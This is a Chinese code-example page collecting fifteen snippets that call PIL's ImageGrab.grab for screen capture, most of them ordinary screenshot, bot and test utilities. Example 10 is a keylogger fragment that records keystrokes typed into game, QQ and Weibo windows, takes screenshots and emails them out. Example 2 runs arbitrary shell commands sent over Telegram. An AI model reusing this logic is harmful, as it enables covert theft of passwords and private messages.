本文整理匯總了Python中PIL.ImageGrab.grab方法的典型用法代碼示例。如果您正苦於以下問題:Python ImageGrab.grab方法的具體用法?Python ImageGrab.grab怎麽用?Python ImageGrab.grab使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在類PIL.ImageGrab
的用法示例。
在下文中一共展示了ImageGrab.grab方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: get_screen_area_as_image
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def get_screen_area_as_image(area=(0, 0, GetSystemMetrics(0), GetSystemMetrics(1))):
screen_width = GetSystemMetrics(0)
screen_height = GetSystemMetrics(1)
# h, w = image.shape[:-1] # height and width of searched image
x1 = min(int(area[0]), screen_width)
y1 = min(int(area[1]), screen_height)
x2 = min(int(area[2]), screen_width)
y2 = min(int(area[3]), screen_height)
search_area = (x1, y1, x2, y2)
img_rgb = ImageGrab.grab().crop(search_area).convert("RGB")
img_rgb = np.array(img_rgb) # convert to cv2 readable format (and to BGR)
img_rgb = img_rgb[:, :, ::-1].copy() # convert back to RGB
return img_rgb
示例2: exec_command
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def exec_command(update, context):
command_text = update.message.text
if(update.effective_chat.id in permitted_users):
if(command_text[0] == "/"):
if command_text == "/screenshot":
filename = screenshot_location + "screenshot_%s.png" % str(update.effective_chat.id)
logging.info("Sending screenshot")
im = ImageGrab.grab()
im.save(filename)
photo = open(filename,'rb')
context.bot.send_photo(update.effective_chat.id,photo)
else:
command = command_text.split()
try:
output = subprocess.check_output(command, cwd= curr_dir).decode('utf-8')
logging.info("%s: %s", command, output)
if output:
context.bot.send_message(chat_id=update.effective_chat.id, text=output)
else:
context.bot.send_message(chat_id=update.effective_chat.id, text=update.message.text)
except Exception as e:
context.bot.send_message(chat_id=update.effective_chat.id, text=str(e))
else:
context.bot.send_message(chat_id=update.effective_chat.id, text="You don't have permission to use this bot!")
示例3: _capFrame
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def _capFrame(self):
img = grab(self.bbox)
return np.array(img)
示例4: buttonCaptureClick
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def buttonCaptureClick():
# 最小化主窗口
root.state('icon')
sleep(0.2)
filename = 'temp.png'
# grab()方法默認對全屏幕進行截圖
im = ImageGrab.grab()
im.save(filename)
im.close()
# 顯示全屏幕截圖
w = MyCapture(filename)
sBut.wait_window(w.top)
# 截圖結束,恢複主窗口,並刪除臨時的全屏幕截圖文件
root.state('normal')
os.remove(filename)
# 創建截屏按鈕
示例5: splash
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def splash(size, name, path="splash.png"):
environ['SDL_VIDEO_WINDOW_POS'] = "center"
display.set_caption(name)
wininfo = display.Info()
screensize = (wininfo.current_w, wininfo.current_h)
desktop = ImageGrab.grab()
screen = display.set_mode(size, NOFRAME, 32)
background = image.load(path).convert_alpha()
w, h = size
w //= 2
h //= 2
desktop = desktop.crop((screensize[0] // 2 - w, screensize[1] // 2 - h,
screensize[0] // 2 + w, screensize[1] // 2 + h))
string = desktop.tostring()
desktop = image.fromstring(string, size, desktop.mode)
desktop.blit(background, (0, 0))
screen.blit(desktop, (0, 0))
display.update()
示例6: getmssimage
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def getmssimage(self):
import mss
with mss.mss() as sct:
mon = sct.monitors[1]
L = mon["left"] + self.X
T = mon["top"] + self.Y
W = L + self.width
H = T + self.height
bbox = (L,T,W,H)
#print(bbox)
sct_img = sct.grab(bbox)
img_pil = Image.frombytes('RGB', sct_img.size, sct_img.bgra, 'raw', 'BGRX')
img_np = np.array(img_pil)
#finalimg = cv2.cvtColor(img_np, cv2.COLOR_RGB2GRAY)
return img_np
示例7: screenshot_until_match
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def screenshot_until_match(save_to, timeout, subimg_candidates, expected_count, gen):
"""Take screenshots until one of the 'done' subimages is found. Image is saved when subimage found or at timeout.
If you get ImportError run "pip install pillow". Only OSX and Windows is supported.
:param str save_to: Save screenshot to this PNG file path when expected count found or timeout.
:param int timeout: Give up after these many seconds.
:param iter subimg_candidates: Subimage paths to look for. List of strings.
:param int expected_count: Keep trying until any of subimg_candidates is found this many times.
:param iter gen: Generator yielding window position and size to crop screenshot to.
"""
from PIL import ImageGrab
assert save_to.endswith('.png')
stop_after = time.time() + timeout
# Take screenshots until subimage is found.
while True:
with ImageGrab.grab(next(gen)) as rgba:
with rgba.convert(mode='RGB') as screenshot:
count_found = try_candidates(screenshot, subimg_candidates, expected_count)
if count_found == expected_count or time.time() > stop_after:
screenshot.save(save_to)
assert count_found == expected_count
return
time.sleep(0.5)
示例8: check_location
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def check_location():
"""得到截圖並打開,以便觀察 config 中設置是否正確"""
if sys.platform == 'win32':
from PIL import ImageGrab
scr = ImageGrab.grab([loc['left_top_x'], loc['left_top_y'], loc['right_buttom_x'], loc['right_buttom_y']])
# scr.save('screenshot.png')
scr.show()
return scr
elif sys.platform == 'linux':
cmd = 'import -window root -crop {0}x{1}+{2}+{3} screenshot.png'
cmd = cmd.format(loc['right_buttom_x'] - loc['left_top_x'], loc['right_buttom_y'] - loc['left_top_y'],
loc['left_top_x'], loc['left_top_y'])
os.system(cmd)
scr = Image.open('screenshot.png')
scr.show()
return scr
else:
print('Unsupported platform: ', sys.platform)
sys.exit()
示例9: generateTrainingImages2
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def generateTrainingImages2():
currentNumOfData = len(sorted(list(paths.list_images("generatedData/"))))
print("[INFO] Type anything and press enter to begin...")
input()
startTime = time.time()
i = 0
while (True):
if (time.time()-startTime > 1):
print("--------Captured Data--------")
im = ImageGrab.grab()
im.save("generatedData/input" + str(i+1+currentNumOfData) + ".png")
i += 1
startTime = time.time()
示例10: onKeyboardEvent
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def onKeyboardEvent(event):
#監聽鍵盤事件
global MSG
title= event.WindowName.decode('GBK')
#通過窗口的title,判斷當前窗口是否是“監聽目標”
if title.find(u"魔獸世界") != -1 or title.find(u"英雄聯盟") != -1 or title.find(u'QQ')!=-1 or title.find(u'微博')!=-1 or title.find(u'戰網')!=-1:
#Ascii: 8-Backspace , 9-Tab ,13-Enter
if (127 >= event.Ascii > 31) or (event.Ascii == 8):
MSG += chr(event.Ascii)
if (event.Ascii == 9) or (event.Ascii == 13):
#屏幕抓圖實現
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic_name = "keyboard_"+pic_name+".png"
pic = ImageGrab.grab()#保存成為以日期命名的圖片
pic.save('%s' % pic_name)
send_email(MSG,pic_name)
## write_msg_to_txt(MSG)
MSG = ''
return True
示例11: mss_grab
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def mss_grab(bbox):
sct_img = sct.grab(monitor)
img = Image.frombytes('RGBA', sct_img.size, bytes(sct_img.raw), 'raw', 'BGRA').crop(bbox)
img = img.convert('RGB')
return img
示例12: TakeScreenShot
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def TakeScreenShot():
ts = current_system_time.strftime("%Y%m%d-%H%M%S")
try:
scrimg = ImageGrab.grab()
scrimg.save(path_to_screenshot + '\\' + str(ts) + '.png')
except Exception as e:
print e
return True
#Function to upgrade the exe via ftp
示例13: grab
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def grab(x1, y1, x2, y2):
"""
以點(x1,y1)為左上角,以點(x2,y2)為右下角截圖
:param x1: int, 左上角橫坐標
:param y1: int, 左上角縱坐標
:param x2: int, 右下角橫坐標
:param y2: int, 右下角縱坐標
:return: ImageGrab對象, 截圖
"""
im = ImageGrab.grab((x1, y1, x2, y2))
return im
示例14: take
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def take(self):
"""Take a screenshot.
@return: screenshot or None.
"""
if not HAVE_PIL:
return None
return ImageGrab.grab()
示例15: main
# 需要導入模塊: from PIL import ImageGrab [as 別名]
# 或者: from PIL.ImageGrab import grab [as 別名]
def main():
for i in list(range(4))[::-1]:
print(i+1)
time.sleep(1)
last_time = time.time()
while True:
PressKey(W)
screen = np.array(ImageGrab.grab(bbox=(0,40,800,640)))
#print('Frame took {} seconds'.format(time.time()-last_time))
last_time = time.time()
new_screen = process_img(screen)
cv2.imshow('window', new_screen)
#cv2.imshow('window',cv2.cvtColor(screen, cv2.COLOR_BGR2RGB))
if cv2.waitKey(25) & 0xFF == ord('q'):
cv2.destroyAllWindows()
break